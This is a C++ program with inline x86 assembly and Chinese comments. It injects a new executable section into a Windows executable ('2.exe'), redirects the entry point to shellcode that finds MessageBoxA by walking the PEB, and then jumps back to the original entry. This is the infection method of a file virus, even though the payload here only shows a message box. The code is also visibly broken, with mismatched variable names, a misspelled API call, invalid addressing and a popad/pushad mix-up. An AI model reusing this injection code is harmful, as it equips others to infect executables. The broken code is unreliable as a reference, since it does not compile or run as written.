#include"windows.h"
#include"iostream"
#include"imagehlp.h"
using namespace std;
#pragma comment(lib,"imagehlp.lib")
DWORD GetAlign(DWORD size,DWORD dwAlign)
{
DWORD dwResult=0;
if(size<dwAlign)
{
dwResult=dwAlign;
}
if(size%dwAlign)
{
dwResult=(size/dwAlign+1)*dwAlign;
}
else
{
dwResult=(size/dwAlign)*dwAlign;
}
return dwResult;
}
void addNewSection(char*srcExePath)
{
HANDLE hFile=CreateFile(srcExePath,GENERIC_ALL,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
if(INVALID_HANDLE_VALUE==hFile)
{
return;
}
DWORD dwFileSize=GetFileSize(hFile,NULL);
HANDLE hMap=CreateFileMappingA(hFile,NULL,PAGE_EXECUTE_READWRITE,0,dwFileSize+4096,NULL);
;获得文件基址
LPVOID pImageBase=(LPVOID)MapViewOfFile(hMap,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);
PIMAGE_DOS_HEADER pDosHeader=(PIMAGE_DOS_HEADER)pImageBase;
//获得NT文件基址
PIMAGE_NT_HEADERS pNtHeader=(PIMAGE_NT_HEADERS)((DWORD)pDosHeader+pDosHeader->e_lfanew);
//记录下区块数目
DWORD dwSectionNums=pNtHeader->FileHeader.NumberOfSections;
//记录下原来的入口地点
DWORD dwOleOEP=pNtHeader->OptionalHeader.AddressOfEntryPoint;
DWORD dwTmp=0;
//记录下内存对齐值
DWORD dwSectionAlign=pNtHeader->OptionalHeader.SectionAlignment;
//记录下文件对齐值
DWORD dwFileAlign=pNtHeader->OptionalHeader.FileAlignment;
//移动文件基址,获取区块数目
SetFilePointer(hFile,pDosHeader->e_lfanew +sizeof(IMAGE_NT_HEADERS),0,0);
IMAGE_SECTION_HEADER LastSection={0};
for(int i=0;i<dwSectionNums;i++)
{
ReadFile(hFile,&LastSection,sizeof(IMAGE_SECTION_HEADER),&dwTmp,0);
}
goto shellEnd;
_asm
{
shellCode:
pushad;
pushfd;
push ebp;
;开始真正的代码
mov eax,fs:[30h];获取PEB地址
mov eax,[eax+0ch];获取LDR地址
mov eax,[eax+14h];获取LDR的Flink地址
mov ecx,eax;保存Flink地址
sub eax,8;获取LDR_DATA_ENTRY的地址
;获取本模块的入口地址
mov eax,[eax+1ch]
;获取自己插入字符串地址,并压入堆栈,并在后面使用WriteFile写入0作为结束标记
add eax,5
push eax
;恢复eax中的Flink
mov eax,ecx
;获得第二个Flink即ntdll
mov eax,[eax]
;保存Flink
mov ecx,eax
;获得第二个模块(ntdll)的入口点
sub eax,8
mov eax,[eax+1ch]
;恢复eax中的Flink
mov eax,ecx
;获取第三个模块的Flink,即kernel32
mov eax,[eax]
;保存Flink
mov ecx,eax
;获得第三个模(kernel32)块的入口点
sub eax,8
mov eax,[eax+1ch]
;恢复eax中的Flink
mov eax,ecx
;获取第四个模块的Flink,kernelbase
mov eax,[eax]
;保存Flink
mov ecx,eax
;获取第四个模块的入口点kernelbase
sub eax,8
mov eax,[eax+1ch]
;恢复eax的Flink
mov eax,ecx
;获得第五个模块的Flink,user32.dll,即为所求
mov eax,[eax]
;获取第5个模块的基地址
sub eax,8
mov eax,[eax+18h]
;保存第五个模块的基地址
mov ebp,eax
; 获取PE头部
mov eax,[ebp+3ch]
;输出表偏移
mov edx,[ebp+eax+78h]
;输出表地址
add edx,ebp
;输出表个数
mov ecx,[edx+18h]
;输出表名称数组偏移
mov edx,[edx+20h]
;输出表地址
add edx,ebp
search:
dec ecx
;获得名称的偏移
mov esi,[edx+ecx*4]
;获得名称的地址
add esi,ebp
;开始比较
mov eax,0x7373654dh;'sseM'
cmp eax,[esi]
jnz search
mov eax,0x42656761h;'Bega'
cmp eax,[esi+4]
jnz search
mov eax,0x0041786fh
cmp eax,[esi+8]
jnz search
;至此找到函数MessageBoxA的索引
;开始得到函数序号数组偏移
mov ebx,[edx+24h]
;得到函数序号数组偏移地址
add ebx,ebp
;得到函数序号
mov cx,[ebx+ecx*2]
;得到函数地址数组偏移
mov ebx,[edx+1ch]
;得到函数数组地址
add ebx,ebp
;得到函数地址
mov eax,[ebx+cx*4]
add eax,ebp
;获取字符串地址
pop ebx
push 0
push 0
push ebx
push 0
call eax
pop ebp;
popfd;
pushad;
}
shellEnd:
char* pShellCode=NULL;
DWORD dwShellSize=0;
_asm
{
lea eax,shellCode
mov pShellCode,eax;获得code地址
lea ebx,shellEnd
sub ebx,eax
mov dwShellSize,ebx;获得code长度
}
//修改区块属性
IMAGE_SECTION_HEADER ShellSection={0};
ShellSection.Characteristics=IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE|IMAGE_SCN_MEM_EXECUTE;
//修改区块的PointerToRawData
ShellSection.PointerToRawData=LastSection.PointerToRawData+LastSection.SizeOfRawData;
//修改区块的SizeOfRawData
ShellSection.SizeOfRawData=GetAlign(dwShellSize,dwFileAlign);
ShellSection.Misc.VirtualSize=dwShellSize;
//命名新的区块名称
strcpy(ShellSection.Name,".Try",4);
//设定新区快的RVA
ShellSection.VirtualAddress=LastSection.VirtualAddress+GetAlign(LastSection.Misc.VirtualSize,dwSectionAlign);
//修改区块数目
pNtHeader->OptionalHeader.NumberOfSections++;
//获得新区快在内存对齐后的大小
DWORD dwAfterSectionAlign=GetAlign(ShellSection.Misc.VirtualSize,dwSectionAlign);
//修改镜像大小
pNtHeader->OptionalHeader.SizeOfImage+=dwAfterSectionAlign;
//修改代码大小
pNtHeader->OptionalHeader->SizeOfCode+=dwAfterSectionAlign;
//重新定位入口点
pNtHeader->OptionalHeader.AddressOfEntryPoint=ShellSection.VirtualAddress;
//修改文件指针
SetFilePointer(hFile,ShellSection.PointerToRawData,NULL,FILE_BEGIN);
//首先写入跳转指令,跳转到我们写的代码中,因为在此之前,我们要写入字符串数据
BYTE jmp=0xe9;
WriteFIle(hFile,&jmp,1,&dwTmp,NULL);
char* pszTitle="abcdef";
DWORD dwJmpSize=strlen(pszTitle)+4;//4是因为还要写入0作为结束标记
WriteFile(hFile,&dwJmpSize,sizeof(DWORD),&dwTmp,0);
DWORD a=0;
WriteFile(hFile,&a,4,&dwTmp,0);//写入0 标记
//写入shellcode
WriteFile(hFile,pShellCode,dwShellSize,&dwTmp,0);
//写入跳回元入口点的指令
WriteFile(hFile,&jmp,1,&dwTmp,0);
dwOldOEP=dwOldOEP-(ShellSection.VirtualAddress+dwShellSize)-5;
WriteFile(hFile,&dwOldOEP,4,&dwTmp,0);
CloseHandle(hFile);
CloseHandle(hMap);
}
int main()
{
addNewSection("2.exe");
}
PS:该程序的bug有两处:
第一写入ShellSection时,并没有进行空间检测,如果没有空间了,那就错了
第二要写入的exe文件中应该有user32.dll,即导入表要有该项的存在
改进:使用LoadLibrary和GetProcAddress就行了,待续...